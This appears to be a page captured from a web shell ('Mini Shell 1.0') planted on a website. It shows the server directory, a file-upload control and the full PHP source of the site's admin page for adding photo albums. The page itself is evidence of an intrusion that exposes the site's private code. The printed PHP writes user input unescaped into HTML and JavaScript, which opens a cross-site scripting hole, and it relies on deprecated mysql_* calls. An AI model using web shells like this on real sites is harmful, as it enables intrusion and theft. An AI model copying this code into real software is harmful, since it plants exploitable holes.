HOME


Mini Shell 1.0
DIR: /home/islapiiu/sites/thegarder/admin/
Upload File :
Current File : /home/islapiiu/sites/thegarder/admin/add-new-album.php
<?php
include ("./header.php");
include("../class/resize-class.php");

$db = new DB();

$mysql_insert_id = NULL;

if (isset($_POST['save-data'])) {


    if (!$_POST['name'] || !$_POST['date'] || !$_POST['description']) {
        ?>

        <div class="alert alert-danger alert-dismissible" role="alert">
            <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span></button>
            <strong>Error!</strong> Please enter the all data.
        </div>

        <?php
    } else {

        $emsg = "";                 
        $imgNames = 1;
        $folderName = "../images/photo-albums/";
        $valid_image_check = array("image/gif", "image/jpeg", "image/jpg", "image/png", "image/bmp");

        $imgNames = array();


        for ($i = 0; $i < count($_FILES["image"]["name"]); $i++) {

            if ($_FILES["image"]["name"][$i] <> "") {

                $image_mime = strtolower(image_type_to_mime_type(exif_imagetype($_FILES["image"]["tmp_name"][$i])));
                // if valid image type then upload
                if (in_array($image_mime, $valid_image_check)) {

                    $ext = explode("/", strtolower($image_mime));
                    $ext = strtolower(end($ext));
                    $filename = rand(10000, 990000) . '_' . time() . '.' . $ext;
                    $filepath = $folderName . $filename;
                    array_push($imgNames, $filename);

                    if (!move_uploaded_file($_FILES["image"]["tmp_name"][$i], $filepath)) {
                        $emsg .= "Failed to upload <strong>" . $_FILES["image"]["name"][$i] . "</strong>. <br>";
                        $counter++;
                    } else {

                        $resizeObj = new resize($filepath);
                        $resizeObj->resizeImage(500, 300, 'crop');
                        $resizeObj->saveImage($filepath, 80);
                    }
                } else {
                    $emsg .= "<strong>" . $_FILES["user_files"]["name"][$i] . "</strong> not a valid image. <br>";
                }
            }
        }
 
        $sql = "INSERT INTO `photo-albums` "
                . "(`name`, "
                . "`date`, "
                . "`photo`, "
                . "`description`) "
                . "VALUES"
                . " ('" . mysql_real_escape_string($_POST['name']) . "',"
                . "'" . mysql_real_escape_string($_POST['date']) . "',"
                . "'" . mysql_real_escape_string($imgNames[0]) . "',"
                . "'" . mysql_real_escape_string($_POST['description']) . "')";

        $db->readQuery($sql);


        $mysql_insert_id = mysql_insert_id();
        ?>


        <div class="alert alert-success alert-dismissible" role="alert">
            <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span></button>
            <strong>Success!</strong> Album  "<?php echo $_POST['name']; ?>"   was added successfully.
        </div>

        <?php
    }
}
$lbNam = "";
if (isset($_POST['name'])) {
    $lbNam = $_POST['name'];
}
?>

<script src="tinymce/js/tinymce/tinymce.min.js"></script>
<script>

    tinymce.init({
        selector: "textarea",
        // ===========================================
        // INCLUDE THE PLUGIN
        // ===========================================

        plugins: [
            "advlist autolink lists link image charmap print preview anchor",
            "searchreplace visualblocks code fullscreen",
            "insertdatetime media table contextmenu paste"
        ],
        // ===========================================
        // PUT PLUGIN'S BUTTON on the toolbar
        // ===========================================

        toolbar: "insertfile undo redo | styleselect | bold italic | alignleft aligncenter alignright alignjustify | bullist numlist outdent indent | link image jbimages",
        // ===========================================
        // SET RELATIVE_URLS to FALSE (This is required for images to display properly)
        // ===========================================

        relative_urls: false

    });


    $(document).ready(function () {
        var mysql_insert_id = $('#mysql_insert_id').val();
        if (mysql_insert_id) {

            var mess = "Success: Album '<?php echo$lbNam; ?>' was created successfully!.. Click 'Ok 'to manage album photos";
            var r = confirm(mess);
            var link = 'manage-album-photos.php?album=' + mysql_insert_id + '&&name=<?php echo$lbNam; ?>';
            if (r) {
                window.location.replace(link);
            }
        }
    });

</script>

<input type="hidden" value="<?php echo $mysql_insert_id; ?>" name="mysql_insert_id" id="mysql_insert_id">
<div class="panel panel-default">
    <div class="panel-heading">
        <h3 class="panel-title">Add New Photo Album</h3>
    </div>
    <div class="panel-body">
        <div class="row">
            <div class="col-sm-9">
                <form action="" method="POST" enctype="multipart/form-data" class="form-horizontal" id="main-form"> 

                    <div class="form-group">
                        <label for="name" class="col-sm-3 control-label">Album Name:</label>
                        <div class="col-sm-9">
                            <input type="text" name="name" id="name" class="form-control" required="TRUE"> 
                        </div>
                    </div>


                    <div class="form-group">
                        <label for="date" class="col-sm-3 control-label">Date:</label>
                        <div class="col-sm-9">
                            <input type="date" name="date" id="date" class="form-control" required="TRUE"> 
                        </div>
                    </div>

                    <div class="form-group">
                        <label for="image" class="col-sm-3 control-label">Main Album Photo:</label>
                        <div class="col-sm-9">
                            <input type="file" name="image[]" id="image" class="form-control" required="TRUE"/> 
                        </div>
                    </div> 

                    <div class="form-group">
                        <label for="description" class="col-sm-3 control-label">Description:</label>
                        <div class="col-sm-9">
                            <textarea id="description" name="description"></textarea> 
                        </div>
                    </div>

                    <div class="form-group">
                        <div class="col-sm-offset-3 col-sm-9"> 
                            <input type="submit" class="btn btn-default" id="btn-submit" value="Save" name="save-data">
                        </div>
                    </div>

                </form> 
            </div>
        </div>
    </div>
</div>



<?php
include './footer.php';
?>